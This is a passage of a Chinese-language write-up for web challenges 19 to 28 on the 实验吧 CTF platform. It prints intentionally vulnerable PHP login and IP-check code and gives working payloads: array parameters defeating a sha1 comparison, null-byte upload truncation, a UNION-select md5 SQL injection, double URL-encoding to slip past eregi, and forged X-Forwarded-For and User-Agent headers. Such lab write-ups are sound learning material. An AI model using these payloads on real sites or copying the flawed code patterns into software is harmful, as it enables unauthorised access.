    ?>
    

    看条件可知道,只要删除session,password也设置为空,就可以造成相等,达到效果。。。
    所以。。


    p31

    所以直接修改session值,上面字段为空就行了。。。

    十九:FALSE
    这道代码审计要搞sha1碰撞,膜拜大佬。。。
    我看了一下真正碰撞,只有Google搞出来下,但是需要PDF格式,这时候看看所谓的sha1函数,发现传入参数的格式应该是字符串类型,传入其他类型会导致输出false,还有这种操作。。。
    构造payload:name[]=a&password[]=b就行了。。

    二十:上传绕过
    这道题目考得是用0x00来截断解决php不能上传的问题。。


    p32

    如何做呢,就是直接在uploads/后面加一个1.php+,然后切换到16进制把+的16进制改为00就行了。。这种截断还真是多。。

    二十一:NSCTF


    p33

    这是一道解密题目,密码函数直接贴出来了,下面直接上我这段时间苦练的python功底了。。

    import base64;
    import codecs;
    
    
    if __name__=='__main__':
        str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
        str=codecs.decode(str,'rot_13');
        str=str[::-1];
        str=base64.b64decode(str);
        c='';
        for i in str:
            i=i-1;
            c=c+chr(i);
        print(c[::-1]);
    

    二十二: 程序逻辑问题
    这道题目源代码在网页源码里,如下:

    <?php
    
    
    if($_POST[user] && $_POST[pass]) {
        $conn = mysql_connect("********, "*****", "********");
        mysql_select_db("phpformysql") or die("Could not select database");
        if ($conn->connect_error) {
            die("Connection failed: " . mysql_error($conn));
    } 
    $user = $_POST[user];
    $pass = md5($_POST[pass]);
    
    $sql = "select pw from php where user='$user'";
    $query = mysql_query($sql);
    if (!$query) {
        printf("Error: %s\n", mysql_error($conn));
        exit();
    }
    $row = mysql_fetch_array($query, MYSQL_ASSOC);
    //echo $row["pw"];
      
      if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
        echo "<p>Logged in! Key:************** </p>";
    }
    else {
        echo("<p>Log in failure!</p>");
        
      }
      
      
    }
    
    ?>
    

    代码明显存在注入点,在username处,然后password做了md5加密,所以主要是做了联合查询查个md5出来,使得与password相等就行,payload:Username' union select md5(1)#�
    这样的查询语句就是 select pw from php where user='Username' union select md5(1)#�其中pw是md5(1),这样的话就查询出来了。


    p34

    二十三. what a fuck
    这道题目上来完全不知道讲啥,看了writeup说是jsfuck编码,可以直接扔浏览器console解码


    p35
    二十四.PHP大法
    源代码直接上来:
    <?php
    if(eregi("hackerDJ",$_GET[id])) {
      echo("<p>not allowed!</p>");
      exit();
    }
    
    $_GET[id] = urldecode($_GET[id]);
    if($_GET[id] == "hackerDJ")
    {
      echo "<p>Access granted!</p>";
      echo "<p>flag: *****************} </p>";
    }
    ?>
    

    int eregi(string pattern, string string, [array regs]);
    定义和用法
    eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。Eregi()可以特别有用的检查有效性字符串,如密码。
    可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。
    返回值
    如果匹配成功返回true,否则,则返回false
    这个代码要绕过条件比较清晰,首先系统url解码以后不能出现hackerDJ,出现的话直接not allowed,然后后面经过再一次url解码以后要出现hackerDJ,所以直接url编码两次就行了,payload:%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61


    p36

    二十四.这个看起来有点简单
    这道题目就是一道数字型有逻辑回显的注入题目,pass。。。

    二十五:貌似有点难
    代码审计题,看源码

    <?php
    function GetIP(){
    if(!empty($_SERVER["HTTP_CLIENT_IP"]))
        $cip = $_SERVER["HTTP_CLIENT_IP"];
    else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
        $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
    else if(!empty($_SERVER["REMOTE_ADDR"]))
        $cip = $_SERVER["REMOTE_ADDR"];
    else
        $cip = "0.0.0.0";
    return $cip;
    }
    
    $GetIPs = GetIP();
    if ($GetIPs=="1.1.1.1"){
    echo "Great! Key is *********";
    }
    else{
    echo "错误!你的IP不在访问列表之内!";
    }
    ?>              
    

    看了看代码,就是函数返回值必须是1.1.1.1


    p37

    直接改了x-forwarded-for字段就可以了。

    二十六.头有点大

    You don't have permission to access / on this server. 
    Make sure you are in the region of England and browsing this site with Internet Explorer      
    

    所以直接修改user-agent以及accept-lanuuage就行了


    p38

    所以直接在中user-agent加入.NET CLR 9.9 Accept-Language中语言改为英国的en-gb,首选en就行了。。。。

    二十七.猫抓老鼠
    这道题把返回包的content-row发送出去就行了


    p39

    二十八.看起来有点难
    这道题目就是一道普通SQL注入,直接放sqlmap就行了。。。。

    相关文章

      网友评论

        本文标题:2018-11-02-[实验吧]-web-writeup

        本文链接:https://www.haomeiwen.com/subject/ihrqxqtx.html